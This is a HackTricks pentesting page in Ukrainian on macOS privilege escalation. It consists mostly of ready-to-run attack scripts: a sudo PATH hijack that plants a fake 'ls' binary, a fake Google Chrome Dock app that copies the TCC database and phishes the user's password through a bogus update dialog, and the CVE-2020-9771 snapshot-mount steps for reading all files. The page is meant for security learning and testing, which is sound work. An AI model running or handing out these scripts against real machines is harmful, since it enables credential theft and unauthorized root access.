macOS Privilege Escalation

Підтримати HackTricks

TCC Привілейоване Підвищення

Якщо ви прийшли сюди в пошуках привілейованого підвищення TCC, перейдіть до:

macOS TCC

Linux Privesc

Зверніть увагу, що більшість трюків щодо привілейованого підвищення, які впливають на Linux/Unix, також вплинуть на MacOS. Тож дивіться:

Linux Privilege Escalation

Взаємодія Користувача

Викрадення Sudo

Ви можете знайти оригінальну техніку викрадення Sudo в пості про привілейоване підвищення Linux.

Однак macOS зберігає PATH користувача, коли він виконує sudo. Це означає, що інший спосіб досягти цієї атаки полягає в тому, щоб викрасти інші двійкові файли, які жертва все ще виконає, коли виконує sudo:

# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
cat > /opt/homebrew/bin/ls <<EOF
#!/bin/bash
if [ "\$(id -u)" -eq 0 ]; then
whoami > /tmp/privesc
fi
/bin/ls "\$@"
EOF
chmod +x /opt/homebrew/bin/ls

# victim
sudo ls

Зверніть увагу, що користувач, який використовує термінал, ймовірно, має встановлений Homebrew. Тому можливо перехопити бінарні файли в /opt/homebrew/bin.

Імітація Dock

Використовуючи деякі соціальні інженерії, ви могли б імітувати, наприклад, Google Chrome всередині доку і насправді виконати свій власний скрипт:

Деякі пропозиції:

  • Перевірте в Dock, чи є там Chrome, і в такому випадку видаліть цей запис і додайте фальшивий запис Chrome в такому ж місці в масиві Dock.

#!/bin/sh

# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
# If you want to removed granted TCC permissions: > delete from access where client LIKE '%Chrome%';

rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null

# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources

# Payload to execute
cat > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
char *cmd = "open /Applications/Google\\\\ Chrome.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
}
EOF

gcc /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c -o /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
rm -rf /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c

chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF

# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns

# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
sleep 0.1
killall Dock

TCC - Підвищення привілеїв Root

CVE-2020-9771 - обхід TCC mount_apfs та підвищення привілеїв

Будь-який користувач (навіть без привілеїв) може створити та змонтувати знімок Time Machine та отримати доступ до ВСІХ файлів цього знімка. Єдине, що потрібно, це щоб застосунок (наприклад, Terminal) мав Повний доступ до диска (FDA) (kTCCServiceSystemPolicyAllfiles), що має бути надано адміністратором.

# Create snapshot
tmutil localsnapshot

# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local

# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap

# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap

# Access it
ls /tmp/snap/Users/admin_user # This will work

Більш детальне пояснення можна знайти в оригінальному звіті.

Чутлива інформація

Це може бути корисно для ескалації привілеїв:

macOS Sensitive Locations & Interesting Daemons
Підтримати HackTricks

Last updated